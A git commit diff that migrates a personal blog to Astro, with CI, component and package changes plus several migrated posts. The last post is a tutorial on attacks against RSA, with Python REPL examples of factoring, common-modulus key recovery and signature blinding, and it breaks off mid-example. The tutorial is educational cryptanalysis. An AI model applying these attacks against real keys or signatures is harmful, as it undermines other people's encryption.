ok kinda working
Some checks failed
ci/woodpecker/push/woodpecker Pipeline failed

This commit is contained in:
Michael Zhang 2023-08-31 03:07:03 -05:00
parent 4eeec04dad
commit 4a89b35ba3
78 changed files with 6881 additions and 164 deletions

View file

@ -1,8 +1,9 @@
pipeline:
build:
image: klakegg/hugo:ext-pandoc-ci
image: node:18
commands:
- hugo --buildDrafts --minify --baseURL https://mzhang.io
- npm install
- npm run build
deploy:
image: alpine
@ -12,7 +13,7 @@ pipeline:
- chmod 600 SSH_SECRET_KEY
- mkdir -p ~/.ssh
- echo "mzhang.io ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBzBZ+QmM4EO3Fwc1ZcvWV2IY9VF04T0H9brorGj9Udp" >> ~/.ssh/known_hosts
- rsync -azvrP -e "ssh -i SSH_SECRET_KEY" public/ sourcehutBuilds@mzhang.io:/mnt/storage/svcdata/blog-public
secrets: [ SSH_SECRET_KEY ]
- rsync -azvrP -e "ssh -i SSH_SECRET_KEY" dist/ sourcehutBuilds@mzhang.io:/mnt/storage/svcdata/blog-public
secrets: [SSH_SECRET_KEY]
when:
branch: master

View file

@ -2,9 +2,14 @@ import { defineConfig } from "astro/config";
import mdx from "@astrojs/mdx";
import sitemap from "@astrojs/sitemap";
import { remarkReadingTime } from "./plugin/remark-reading-time";
// https://astro.build/config
export default defineConfig({
site: "https://example.com",
integrations: [mdx(), sitemap()],
markdown: {
syntaxHighlight: false,
remarkPlugins: [remarkReadingTime],
},
});

74
package-lock.json generated
View file

@ -11,9 +11,14 @@
"@astrojs/mdx": "^1.0.0",
"@astrojs/rss": "^3.0.0",
"@astrojs/sitemap": "^3.0.0",
"astro": "^3.0.3"
"astro": "^3.0.3",
"fork-awesome": "^1.2.0",
"lodash-es": "^4.17.21",
"mdast-util-to-string": "^4.0.0",
"reading-time": "^1.5.0"
},
"devDependencies": {
"@types/lodash-es": "^4.17.9",
"prettier": "^3.0.3",
"prettier-plugin-astro": "^0.12.0",
"sass": "^1.66.1"
@ -988,6 +993,21 @@
"resolved": "https://registry.npmjs.org/@types/json5/-/json5-0.0.30.tgz",
"integrity": "sha512-sqm9g7mHlPY/43fcSNrCYfOeX9zkTTK+euO5E6+CVijSMm5tTjkVdwdqRkY3ljjIAf8679vps5jKUoJBCLsMDA=="
},
"node_modules/@types/lodash": {
"version": "4.14.197",
"resolved": "https://registry.npmjs.org/@types/lodash/-/lodash-4.14.197.tgz",
"integrity": "sha512-BMVOiWs0uNxHVlHBgzTIqJYmj+PgCo4euloGF+5m4okL3rEYzM2EEv78mw8zWSMM57dM7kVIgJ2QDvwHSoCI5g==",
"dev": true
},
"node_modules/@types/lodash-es": {
"version": "4.17.9",
"resolved": "https://registry.npmjs.org/@types/lodash-es/-/lodash-es-4.17.9.tgz",
"integrity": "sha512-ZTcmhiI3NNU7dEvWLZJkzG6ao49zOIjEgIE0RgV7wbPxU0f2xT3VSAHw2gmst8swH6V0YkLRGp4qPlX/6I90MQ==",
"dev": true,
"dependencies": {
"@types/lodash": "*"
}
},
"node_modules/@types/mdast": {
"version": "3.0.12",
"resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-3.0.12.tgz",
@ -2085,6 +2105,14 @@
"pkg-dir": "^4.2.0"
}
},
"node_modules/fork-awesome": {
"version": "1.2.0",
"resolved": "https://registry.npmjs.org/fork-awesome/-/fork-awesome-1.2.0.tgz",
"integrity": "sha512-MNwTBnnudMIweHfDtTY8TeR5fxIAZ2w9o8ITn5XDySqdxa4k5AH8IuAMa89RVxDxgPNlosZxqkFKN5UmHXuYSw==",
"engines": {
"node": ">=0.10.3"
}
},
"node_modules/format": {
"version": "0.2.2",
"resolved": "https://registry.npmjs.org/format/-/format-0.2.2.tgz",
@ -2772,6 +2800,11 @@
"url": "https://github.com/sponsors/sindresorhus"
}
},
"node_modules/lodash-es": {
"version": "4.17.21",
"resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.21.tgz",
"integrity": "sha512-mKnC+QJ9pWVzv+C4/U3rRsHapFfHvQFoFB92e52xeyGMcX6/OlIl78je1u8vePzYZSkkogMPJ2yjxxsb89cxyw=="
},
"node_modules/log-symbols": {
"version": "5.1.0",
"resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-5.1.0.tgz",
@ -2906,6 +2939,18 @@
"url": "https://opencollective.com/unified"
}
},
"node_modules/mdast-util-from-markdown/node_modules/mdast-util-to-string": {
"version": "3.2.0",
"resolved": "https://registry.npmjs.org/mdast-util-to-string/-/mdast-util-to-string-3.2.0.tgz",
"integrity": "sha512-V4Zn/ncyN1QNSqSBxTrMOLpjr+IKdHl2v3KVLoWmDPscP4r9GcCi71gjgvUV1SFSKh92AjAG4peFuBl2/YgCJg==",
"dependencies": {
"@types/mdast": "^3.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/unified"
}
},
"node_modules/mdast-util-frontmatter": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/mdast-util-frontmatter/-/mdast-util-frontmatter-1.0.1.tgz",
@ -3130,7 +3175,7 @@
"url": "https://opencollective.com/unified"
}
},
"node_modules/mdast-util-to-string": {
"node_modules/mdast-util-to-markdown/node_modules/mdast-util-to-string": {
"version": "3.2.0",
"resolved": "https://registry.npmjs.org/mdast-util-to-string/-/mdast-util-to-string-3.2.0.tgz",
"integrity": "sha512-V4Zn/ncyN1QNSqSBxTrMOLpjr+IKdHl2v3KVLoWmDPscP4r9GcCi71gjgvUV1SFSKh92AjAG4peFuBl2/YgCJg==",
@ -3142,6 +3187,26 @@
"url": "https://opencollective.com/unified"
}
},
"node_modules/mdast-util-to-string": {
"version": "4.0.0",
"resolved": "https://registry.npmjs.org/mdast-util-to-string/-/mdast-util-to-string-4.0.0.tgz",
"integrity": "sha512-0H44vDimn51F0YwvxSJSm0eCDOJTRlmN0R1yBh4HLj9wiV1Dn0QoXGbvFAWj2hSItVTlCmBF1hqKlIyUBVFLPg==",
"dependencies": {
"@types/mdast": "^4.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/unified"
}
},
"node_modules/mdast-util-to-string/node_modules/@types/mdast": {
"version": "4.0.0",
"resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-4.0.0.tgz",
"integrity": "sha512-YLeG8CujC9adtj/kuDzq1N4tCDYKoZ5l/bnjq8d74+t/3q/tHquJOJKUQXJrLCflOHpKjXgcI/a929gpmLOEng==",
"dependencies": {
"@types/unist": "*"
}
},
"node_modules/merge-stream": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz",
@ -4564,6 +4629,11 @@
"node": ">=8.10.0"
}
},
"node_modules/reading-time": {
"version": "1.5.0",
"resolved": "https://registry.npmjs.org/reading-time/-/reading-time-1.5.0.tgz",
"integrity": "sha512-onYyVhBNr4CmAxFsKS7bz+uTLRakypIe4R+5A824vBSkQy/hB3fZepoVEf8OVAxzLvK+H/jm9TzpI3ETSm64Kg=="
},
"node_modules/rehype": {
"version": "12.0.1",
"resolved": "https://registry.npmjs.org/rehype/-/rehype-12.0.1.tgz",

View file

@ -13,9 +13,14 @@
"@astrojs/mdx": "^1.0.0",
"@astrojs/rss": "^3.0.0",
"@astrojs/sitemap": "^3.0.0",
"astro": "^3.0.3"
"astro": "^3.0.3",
"fork-awesome": "^1.2.0",
"lodash-es": "^4.17.21",
"mdast-util-to-string": "^4.0.0",
"reading-time": "^1.5.0"
},
"devDependencies": {
"@types/lodash-es": "^4.17.9",
"prettier": "^3.0.3",
"prettier-plugin-astro": "^0.12.0",
"sass": "^1.66.1"

View file

@ -0,0 +1,12 @@
import getReadingTime from "reading-time";
import { toString } from "mdast-util-to-string";
export function remarkReadingTime() {
return function (tree, { data }) {
const textOnPage = toString(tree);
const readingTime = getReadingTime(textOnPage);
// readingTime.text will give us minutes read as a friendly string,
// i.e. "3 min read"
data.astro.frontmatter.minutesRead = readingTime.text;
};
}

View file

Before

Width:  |  Height:  |  Size: 547 KiB

After

Width:  |  Height:  |  Size: 547 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 24 KiB

View file

Before

Width:  |  Height:  |  Size: 710 KiB

After

Width:  |  Height:  |  Size: 710 KiB

View file

@ -0,0 +1,16 @@
---
import "../styles/footer.scss";
---
<footer>
<p>
Blog code licensed under <a href="https://www.gnu.org/licenses/gpl-3.0.txt" target="_blank"
>[GPL-3.0]</a
>. Post contents licensed under <a
href="https://creativecommons.org/licenses/by-sa/4.0/legalcode.txt">[CC BY-SA 4.0]</a
>.
<br />
Written by Michael Zhang.
<a href="https://git.mzhang.io/michael/blog" class="colorlink" target="_blank">[Source]</a>.
</p>
</footer>

View file

@ -1,19 +1,28 @@
---
import "../styles/leftNav.scss";
import { Content as ShortBio } from "../content/partials/shortBio.md";
import links from "../data/links";
import { Image } from "astro:assets";
import portrait from "../assets/self.png";
---
<nav class="side-nav">
<div class="side-nav-content">
<a href="/" class="portrait">
<img class="portrait" src="/self.png" />
<Image src={portrait} alt="portrait" class="portrait" />
</a>
<div class="me">
<h1 class="title">Michael Zhang</h1>
<div class="links">
<a href="{{ .url }}" title="{{ .description }}">
<i class="{{ .icon }}" aria-hidden="true"></i>
{
links.map((link) => {
return (
<a href={link.url} title={link.description}>
{link.name}
</a>
);
})
}
</div>
</div>

View file

@ -1,17 +1,31 @@
---
import { getCollection } from "astro:content";
const allPosts = await getCollection("posts");
import { getCollection, type CollectionEntry } from "astro:content";
import Timestamp from "./Timestamp.astro";
import { sortBy } from "lodash-es";
interface Props {
basePath: string;
includeDrafts?: boolean;
}
type Post = CollectionEntry<"posts">;
const { basePath, includeDrafts } = Astro.props;
const filter = includeDrafts ? (_: Post) => true : (post: Post) => !post.data.draft;
const allPosts = await getCollection("posts", filter);
const sortedPosts = sortBy(allPosts, (post) => -post.data.date);
---
<table style="width: 100%;">
<table class="postListing">
{
allPosts.map((post) => {
sortedPosts.map((post) => {
return (
<tr class="postlisting-row">
<td class="info">{post.data.date}</td>
<tr class="row">
<td class="info">
<Timestamp timestamp={post.data.date} />
</td>
<td>
<span class="title">
<a href="{{ .RelPermalink }}" class="brand-colorlink">
<a href={`${basePath}/${post.slug}`} class="brand-colorlink">
{post.data.title}
</a>
</span>
@ -21,3 +35,36 @@ const allPosts = await getCollection("posts");
})
}
</table>
<style lang="scss">
.postListing {
width: 100%;
border-spacing: 6px;
td {
// padding-bottom: 10px;
// line-height: 1;
.title {
font-size: 1.1em;
}
.summary {
padding-top: 4px;
font-size: 0.64em;
color: var(--smaller-text-color);
p {
display: inline;
}
}
}
td.info {
color: var(--smaller-text-color);
font-size: 0.75em;
white-space: nowrap;
text-align: right;
}
}
</style>

View file

@ -0,0 +1,14 @@
---
interface Props {
timestamp: Date;
}
const { timestamp } = Astro.props;
const datestamp = timestamp.toLocaleDateString(undefined, {
year: "numeric",
month: "short",
day: "numeric",
});
---
<span title={timestamp.toISOString()}>{datestamp}</span>

View file

@ -0,0 +1,56 @@
---
title: My new life stack
date: 2018-02-01
tags: ["arch", "linux", "setup", "computers"]
---
This is my first post on my new blog! <!--more--> I used to put a CTF challenge writeup here but decided to change it up a bit. Recently, I've been changing a lot of the technology that I use day to day. Here's some of the changes that I've made!
## Operating System
I've ran regular Ubuntu on my laptop for a while, then switched to Elementary OS, which I found a lot more pleasing to use. After using Elementary OS for about 6 months, some of the software on my computer started behaving strangely, and I decided it was time for some change.
`````
# michael @ arch in ~ [3:20:09]
$ screenfetch
-`
.o+` michael@arch
`ooo/ OS: Arch Linux
`+oooo: Kernel: x86_64 Linux 4.14.15-1-ARCH
`+oooooo: Uptime: 6h 3m
-+oooooo+: Packages: 546
`/:-:++oooo+: Shell: zsh 5.4.2
`/++++/+++++++: Resolution: 1920x1080
`/++++++++++++++: WM: i3
`/+++ooooooooooooo/` CPU: Intel Core i7-6500U @ 4x 3.1GHz [37.0°C]
./ooosssso++osssssso+` GPU: intel
.oossssso-````/ossssss+` RAM: 2963MiB / 7872MiB
-osssssso. :ssssssso.
:osssssss/ osssso+++.
/ossssssss/ +ssssooo/-
`/ossssso+/:- -:/+osssso+-
`+sso+:-` `.-/+oso:
`++:. `-/+/
.` `/
`````
I installed Arch Linux on my laptop the day before yesterday. I've used Arch Linux before, about a year ago, so setup was relatively familiar. On top of Arch Linux, I'm using the very widely recommended i3 tiling window manager, and urxvt terminal emulator.
## Code Editor
I usually use Sublime Text and Visual Studio Code (VSCode) equally much. Both editors are extremely customizable (and VSCode seems to be heavily inspired from Sublime), but when it comes down to it, VSCode doesn't outperform Sublime. There are many occasions when VSCode just takes forever (for example, when trying to open large codebases, and then automatically running static analyzers over the entire thing).
Since I started using Arch Linux, I've been trying out neovim. I'm packing my configuration with plugins, and seeing how well it works out as my main code editor. If I get really comfortable with it, I'll share my init file on a Git repo, probably.
## Browser... ??
I used to use Chromium, and ..I still do. I've tried several alternatives, like Firefox or even Vivaldi, but all of them seem to be missing something. I haven't tried the new Firefox Quantum yet, but unless there's a really big reason for me to change my browser, I'm probably going to stick to Chrome for a while. Chrome's DevTools are by far the best I've used, and its general ease of use makes it my favorite browser.
### cVim
[cVim](https://chrome.google.com/webstore/detail/cvim/ihlenndgcmojhcghmfjfneahoeklbjjh?hl=en) is a nice Chrome extension that provides vim-like keyboard bindings to Chrome. I'm going to have to admit that there's a lot of quirks around using it on pages that have heavy key bindings, but ever since I started using it, I can't help but use j/k scrolling and H/L for back and forth navigation!
## Personal Server
I got a droplet off DigitalOcean for hosting things that I regularly depend on. In fact, this blog (running Ghost) is hosted there now! I'm also hosting a Git server over at [https://git.iptq.io](https://git.iptq.io). It's running Gitea, a Go-based GitHub alternative. This doesn't mean I'm completely ditching GitHub, I just have things that I _really_ want to keep private, private.

View file

@ -0,0 +1,12 @@
---
title: "Cleaning up your shell"
date: 2018-02-25
tags: ["computers", "linux", "terminal"]
languages: ["bash"]
---
Is your shell loading slower than it used to? Maybe you've been sticking a bit more into your `.bashrc`/`.zshrc` than you thought. <!--more-->
It's only been a couple weeks since I installed my computer, and already my shell has been starting to lag. Since there's not that much I've put into my `.zshrc` file, I knew who the main culprits were. Namely, oh-my-zsh's "git" plugin and the nvm (node version manager) trying to load itself on startup. I'm not exactly in a situation where I need nvm most of the time I open my shell, so getting rid of that made my shell load a lot faster. It also means that every time I want to use node or npm, I'd have to manually call nvm, but that's not as important to me as a faster shell load time, especially since I don't really touch node that much.
One trick you can use to see what scripts are being called at startup is the `-x` option (stands for xtrace) that popular shells like `bash` and `zsh` support. If you go into your shell and run `set -o xtrace`, you'll see it start to spit out some bash commands; this is the list of everything that is being run when your shell starts. You might find that some apps take a ridiculous amount of time to start up. These are some of the things you'd want to eliminate.

View file

@ -0,0 +1,13 @@
---
title: "Fixing tmux colors"
date: 2018-04-23
tags: ["computers"]
---
Put this in your `~/.tmux.conf`.
```bash
set -g default-terminal "screen-256color"
```
If this isn't set properly, tmux usually assumes 16-color mode, which displays colors probably not like what you're used to.

View file

@ -0,0 +1,49 @@
---
title: "Web apps"
date: 2018-05-28
tags: ["computers", "web", "things-that-are-bad"]
languages: ["javascript"]
---
The other day, I just turned off JavaScript from my browser. <!--more--> "fucking neckbeard", "you'll turn it back in 2 weeks", "living without JavaScript is like living without electricity" were some of the responses I got. And they might be right. But let's see why things are the way they are and what we can do about it.
## What is the purpose of the web?
Well, the answer's pretty obvious, right? So you can surf it. But what does that even mean anymore? In the past, surfing the web meant viewing websites. You'd open something like your favorite news website, and it'd show you some of the latest updates. Or maybe you'd open the website for some company to find out their telephone so you can contact them. In other words, it was a channel from which you could receive information.
If you wanted to do anything more complicated or that required more interaction, like sending an email, you'd probably pop open a dedicated client to do it. Things like Microsoft Outlook, Mozilla Thunderbird serve as great email clients. For chat, you could use an IRC client. Hell, even the browser was a client, just for viewing webpages. If you didn't have a client for a service that you wanted to use, you'd download a client, enter in the details of the server you want to connect to, and then you would be off.
Things aren't that way anymore. For some reason, the web browser has become the all-in-one client for every service. Instead of simply acting as a HTTP client, your browser is now also capable of running full-blown 3D games, chat rooms, real-time word processors, and [full x86 emulators, apparently](http://copy.sh/v86/). What the hell happened?
## Spoiler alert: Javascript happened
JavaScript happened. That little _scripting_ language invented to, you know, make some hover animation on your page or have dropdowns on your menu bar. Thanks to the introduction of JavaScript (and jQuery especially), developers stopped viewing webpages as Word documents that you can share, and more like canvases. Hover animations are cute and dropdowns are useful. Sure. But when this _scripting_ language starts turning into a _systems_ language (for lack of a better term), you have a problem. When's the last time you used Perl to write an operating system?
Look at the things we do today with JavaScript. We have _full blown frameworks_ that we _compile_ into bundles of _executable code_ in people's browsers. We're basically talking about the equivalent of downloading a binary and executing it on your computer every time you open a _webpage_. Except for a few minor differences. Firstly, it's not really a binary, it's a huge blob of script, which means it must be executed inside some virtual interpreter. For each tab that you're running. Secondly, now you're downloading random scripts from any website that you open, and then [trusting it](https://superlogout.com/) and [running it][1]. You wouldn't hesitate to click a link, but you'd definitely think twice before installing something from an unknown source into your computer, right?
On top of that, look at these huge frameworks that almost every company is hiring developers for: React, Angular, Vue. These frameworks help JavaScript developers develop "web apps", meaning your JavaScript is now responsible for things the browser should actually be doing for you: two-way data binding, template rendering, and more. Except now, you're downloading a script and running it inside of a virtual interpreter. And because of technologies like Webpack that bundles all your separate code files together (read: static linking), our browsers can't even use the same framework code from site to site.
Look at Facebook's home page. Just from regular use, that webpage itself can use over 4 gigabytes of RAM. It makes large amounts of network calls for data that's all just being stored in memory. And everyone who opens the Facebook website (for the first time) must download _all_ of that JavaScript. The website has its own tabs (within the page, yes) for chat windows, games, advertisements, embedded video players, and much more I probably didn't even know about. Why are we running full-blown apps in our browser?
## Ok but what can i do
There's a number of things that can be done to turn this state of the web down a different path. Here's some ideas for users:
- Disable JavaScript in your browser. Grant websites permission to use JavaScript only if they need it. You'd be surprised how many sites work with JavaScript disabled.
- If you're not ready to do that yet or don't want to, consider [uBlock Origin](https://chrome.google.com/webstore/detail/ublock-origin/cjpalhdlnbpafiamejdnhcphjbkeiagm?hl=en). It's an extension that can block scripts by source.
For developers:
- [svelte](https://svelte.technology/) is a cool alternative to frameworks like Angular or React.
- Consider the impact of every library you include. Can you do without it? What if you just wrote something from scratch instead of importing a full framework to do it?
- Write more non-JavaScript software/libraries. Developers have only turned towards sticking JavaScript everywhere because it's easy to use, and libraries are readily available through npm.
## Ok but what can you do
I'm helping with a project called flubber, which originated as an IRC bouncer, but is slowly turning into a general messaging protocol. All-in-one messengers exist (and a particular one exists by that name exactly), but they all work by opening a browser view and just loading the page within it, so it's no different from just opening tabs in a browser. Flubber will communicate with these services through APIs, and then expose a uniform interface to clients which makes it easy to bring all into a single view. Check out my progress [here](https://github.com/iptq/flubber). Other than that, I'm also working on making my websites as light as possible in general, including this one which has no required Javascript (some pages use Katex for displaying math elements but are still readable without).
And of course, I've disabled JavaScript in my browser.
\</rant\> <small>thanks for reading!</small>
[1]: https://web.archive.org/web/20190429040938/https://coinhive.com/

View file

@ -0,0 +1,85 @@
---
title: "Setting up IRC with Weechat"
date: 2018-10-18
tags: ["irc"]
---
I've just recently discovered that weechat has a "relay" mode, which means it can act as a relay server to other clients (for example, my phone). If I leave an instance of weechat running on, say, my server that's always running, it can act as a bouncer and my phone can receive notifications for highlights as well.
The android app I'm using is called [Weechat-Android][2]. On my laptop I'm using [Glowing Bear][5].
## Step 1: tmux
To achieve this setup, first I install [tmux][1], which separates the terminal from the session. This means I can leave the weechat instance running in the background and detach my current session from it. The command for this is:
```bash
$ tmux new-session -s weechat
```
where the `-s` option just names the tmux session so it's not assigned some number.
## Step 2: Add relay
Now add a relay through weechat:
```
/relay add <name> <port>
```
where name is
```
[ipv4.][ipv6.][ssl.]name
ipv4: force use of IPv4
ipv6: force use of IPv6
ssl: enable SSL
```
according to the [documentation][3].
## Step 2.5: SSL
I'm using SSL on my relay endpoint, and I'd recommend anyone else to use it to. You could follow what the documentation says and generate a self-signed certificate, but getting a trusted certificate with [LetsEncrypt][4] is so easy there's almost no excuse not to do it.
To start, install certbot, which is LetsEncrypt's handy bot that does everything for you. Once you're ready, run:
```bash
$ sudo certbot certonly <domain>
```
We want the `certonly` option because by default, certbot will try to install it into an existing HTTP server, but we're not using it for HTTP. This command should dump some files into `/etc/letsencrypt/live/<domain>`.
Finally, just concatenate the important files, `privkey.pem` and `fullchain.pem` in that order, into `~/.weechat/ssl/relay.pem` (you can change that path with `/set relay.network.ssl_cert_key`). The file should look like:
```
-----BEGIN PRIVATE KEY-----
...data...
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
...data...
-----END CERTIFICATE-----
```
If your private key file starts with `BEGIN CERTIFICATE`, just change that to `BEGIN PRIVATE KEY` (change the END one too) and it should be fine.
## Step 3: Set password
Since weechat 1.6, the option to not use a password has been removed. So in order for clients to be able to connect to the server, you must set one using:
```
/set relay.network.password <password>
```
The password should appear in asterisks in the weechat prompt box.
## Step 4: Connect
This depends on your setup, but you must make sure that your setup is reachable from the outside. Make sure the port that you chose for the relay is accessible through firewalls.
That's it! If you're also using the android app to connect, just type in your host's address and password and you should be all good to go.
[1]: https://wiki.archlinux.org/index.php/Tmux
[2]: https://github.com/ubergeek42/weechat-android
[3]: https://www.weechat.org/files/doc/stable/weechat_user.en.html#relay_commands
[4]: https://letsencrypt.org/
[5]: https://www.glowing-bear.org/

View file

@ -0,0 +1,244 @@
---
title: "Twenty years of attacks on rsa with examples"
date: 2018-10-26
toc: true
tags: ["ctf", "crypto", "rsa"]
languages: ["python"]
math: true
---
There's [a great paper][1] I found by Dan Boneh from 1998 highlighting the
weaknesses of the RSA cryptosystem. I found this paper to be a particularly
enlightening read (and interestingly enough, it's been 20 years since that
paper!), so here I'm going to reiterate some of the attacks described in the
paper, but using examples with numbers in them. <!--more-->
That being said, I _am_ going to skip over the primer of how the RSA
cryptosystem works, since there's already a great number of resources on that.
## Factoring large integers
Obviously this is a pretty bruteforce-ish way to crack the cryptosystem, and
probably won't work in time for you to see the result, but can still be
considered an attack vector. This trick works by just factoring the modulus,
$N$. With $N$, finding the private exponent $d$ from the public exponent $e$ is
a piece of cake.
Let's choose some small numbers to demonstrate this one (you can follow along in
a Python REPL if you want):
```py
>>> N = 881653369
>>> e = 17
>>> c = 875978376
```
$N$ is clearly factorable in this case, and we can use resources like
[msieve][7] or [factordb][2] to find smaller primes in this case. Since we know
now that $N = 20717 \times 42557$, we can find the totient of $N$:
```py
>>> p = 20717
>>> q = 42557
>>> tot = (p - 1) * (q - 1)
881590096
```
Now all that's left is to discover the private exponent and solve for the
original message! (you can find the modular inverse function I used [here][3])
```py
>>> d = modinv(e, tot)
51858241
>>> pow(c, d, N)
31337
```
And that's it! Now let's look at some more sophisticated attacks...
## Elementary attacks
These attacks are related to the _misuse_ of the RSA system. (if you can't tell,
I'm mirroring the document structure of the original paper)
### Common modulus
My cryptography professor gave this example as well. Suppose there was a setup
in which the modulus was reused, maybe for convenience (although I suppose with
libraries today, it'd actually be more _inconvenient_ to reuse the key). Key
pairs would be issued to different users and they would share public keys with
each other and keep private keys to themselves.
The problem here is if you have a key pair, and you got someone else's public
key, you could easily derive the private key by just factoring the modulus.
Let's see how this works with a real example now.
Since this is a big problem if you were to really use this cryptosystem, I'll be
using actual keys from an actual crypto library instead of the small numbers
like in the first example to show that this works on 2048-bit RSA. The library
is called [PyCrypto][4], and if you're planning on doing anything related to
crypto with Python, it's a good tool to have with you. For now, I'm going to
generate a 2048-bit key (by the way, in practice you probably shouldn't be using
2048-bit keys anymore, I'm just trying to spare my computer here).
```py
>>> from Crypto.PublicKey import RSA
>>> k1 = RSA.generate(2048)
<_RSAobj @0x7f3d3226dfd0 n(2048),e,d,p,q,u,private>
```
Now, normally when you generate a new key, it'd generate a new modulus. For the
sake of this common modulus attack, we'll force the new key to use the same
modulus. This also means we'll have to choose an exponent $e$ other than the
default choice of 65537 (see [this link][5] for documentation):
```py
>>> N = k1.p * k1.q
29977270253913673973269594877868500604696844309480395834898813292056864035968758602074842333119394545818563664205865827843973433118231606201251719390934610989873635763197929136439794366715495587924829697045618064595517091398323127000591150167969423793125376862942962617933168868125721044755585292104012767604921511927694421931531763256179277376290836490302585046803170658011843375751827334637689505406974645481089358325805114205957009910758378725866614617688361814922628596814445370820099034880786971816556547138716303030977389113515312289367195090368607322922710704592536914377782096784092012774047931602714559411641
>>> e = k1.e
65537
>>> d = k1.d
15565200260470091881477501931717765645013182095721628848830000114674199708256113134107524142907363428287225581416015506594787249272629252596585055146773790032720599834991872233759704632573379913049026195290680640250863651116064783079834540016568221344526961094787464713454198443832494032866744158338151738236661515444305521301583312800890473043854752775780731961801793612989845832052044110301479536119434333369042172368546513808726742737729539432085793131998509039970952524552914892677427673231515899625998973161553704772256496315467235759715665448324408858980400807019213972046972829905566822336304711418843041721957
>>> e2 = 65539
>>> d2 = modinv(e2, (k1.p - 1) * (k1.q - 1))
28155004966198083605557147846430301877082565365203402029588435163682086478799751838610856433805281302245406343554098644058282620662395619703047797297929171630352487059669029554823105971149580111303390225692229359101863845359614581890498607677708812792166993283364928728648227920436362454567967968010840963546889938282011875589987758165583590886451185216017928261116297436515322115306907044332595229241201447860504794919920665520170088035323466070517987985855014612353911537010064927051269052451478774966384895845225295261610911375622081716902881447610710645142912550905885899057916649884624811336671599114611316629599
>>> k2 = RSA.construct((N, e2, d2))
<_RSAobj @0x7f3d31c7c5f8 n(2048),e,d,p,q,u,private>
```
Ok, now we have two keys, $k_1$ and $k_2$. Now I'll show how using only the public
and private key of $k_1$ (assuming this is the pair that we got legitimately from
the crypto operator), and the public key of $k_2$, which is tied to the same
modulus, we can find the private key of $k_2$.
To do this, we'll try to find the roots of the equation:
$$ f(x) = x^2 - (p + q)x + pq $$
You'll find that for values of $p$ and $q$, this will produce $f(p) = p^2 - p^2
\- qp + pq$, and $f(q) = q^2 - pq - q^2 + pq$. We know that $N = pq$. How can we
find $p + q$? Since $\phi(N) = (p - 1)(q - 1) = pq - p - q + 1$, we can find
that $\phi(N) = N - (p + q) + 1$, so $p + q = N - \phi(N) + 1$.
Now we need to use $e$ and $d$ to estimate $\phi(N)$. Recall that $ed = 1 \mod
\phi(N)$. This is equivalent to saying $ed = 1 + k\phi(N)$. Then $\frac{ed -
1}{\phi(N)} = k$.
It turns out that $k$ is extremely close to $\frac{ed}{N}$:
$$ \frac{ed}{N} = \frac{1 + k\phi(N)}{N} = \frac{1}{N} + \frac{k\phi(N)}{N} $$
$\frac{1}{N}$ is basically 0, and $\phi(N)$ is very close to $N$, so it
shouldn't change the value of $k$ by very much. We now use $\frac{ed}{N}$ to
estimate $k$:
$$ \phi(N) = \frac{ed - 1}{\frac{ed}{N}} $$
```py
>>> from decimal import Decimal, getcontext
>>> getcontext().prec = 1000
>>> k = round(Decimal(e) * Decimal(d) / Decimal(N))
34029
>>> phi = (Decimal(e) * Decimal(d) - 1) / Decimal(k)
Decimal('29977270253913673973269594877868500604696844309480395834898813292056864035968758602074842333119394545818563664205865827843973433118231606201251719390934610989873635763197929136439794366715495587924829697045618064595517091398323127000591150167969423793125376862942962617933168868125721044755585292104012767604575090001864613992237960887242026855773279634028088706121371418922552125986506064146112561599205615974813154971272528592745144988174228621487749404677959591894452249599588096076892574585613962026186332366180174253118634077603697727952204486962202338916762987146793208323561031870496718547544796269555861921652')
```
Then we can get $p + q$ through the formula mentioend above:
```py
>>> B = Decimal(N) - phi + 1
Decimal('346421925829807939293802368937250520517556856274496340681799239089291249765321270491576943807769029506276203354532585613211864922584150104378865213010402223028176347214857274743206460295173009790370214772536128777858755035911614561414990603406404984005947717445743706054221064913595294226503135333158697489990')
>>> C = Decimal(N)
```
Check to make sure $B$ and $C$ are integers. If they're not, try using a higher
precision in `getcontext().prec`. Now solve the quadratic equation:
```py
>>> p = (B + (B * B - 4 * C).sqrt()) / Decimal(2)
Decimal('178187650567807686297508761669341068026596182918164336679269778091413760248796912297951278062644499145975246732979455707116872915963269648808994075794761810506203681312867668286737214808081540392248516550834072470288052831951959306342657446325786002900014749794262752196461389552859745880480150585554246119623')
>>> q = (B - (B * B - 4 * C).sqrt()) / Decimal(2)
Decimal('168234275262000252996293607267909452490960673356332004002529460997877489516524358193625665745124530360300956621553129906094992006620880455569871137215640412521972665901989606456469245487091469398121698221702056307570702203959655255072333157080618981105932967651480953857759675360735548346022984747604451370367')
>>> p * q == N
True
```
We've successfully recovered $p$ and $q$ from just $N$, $e$, and $d$!
### Blinding
This attack is actually about RSA _signatures_ (which uses the opposite keys as
encryption: private for signing and public for verifying), and shows how you can
compute the signature of a message $M$ using the signature of a derived message
$M'$.
Suppose Marvin wants Bob to sign the following message: `"I (Bob) owes Marvin
$100,000 USD"`. Marvin hands this to Bob saying something like, "I'll just need
you to sign this with your private key." Let's generate Bob's private key:
```py
>>> from Crypto.Util.number import bytes_to_long, long_to_bytes
>>> from Crypto.PublicKey import RSA
>>> bob = RSA.generate(2048)
<_RSAobj @0x7f4309521128 n(2048),e,d,p,q,u,private>
>>> M = b"I (Bob) owes Marvin $100,000 USD"
```
Obviously, Bob, an intellectual, will refuse to sign the message. However,
suppose Marvin now transforms his message into a more innocent looking one. He
does this by turning $M$ into $M' = r^eM \mod N$ where r is an integer that's
coprime to $N$:
```py
>>> from random import randint
>>> N = bob.p * bob.q # this is publicly available knowledge
>>> r = 19
>>> Mp = long_to_bytes((pow(r, bob.e, N) * bytes_to_long(M)) % N)
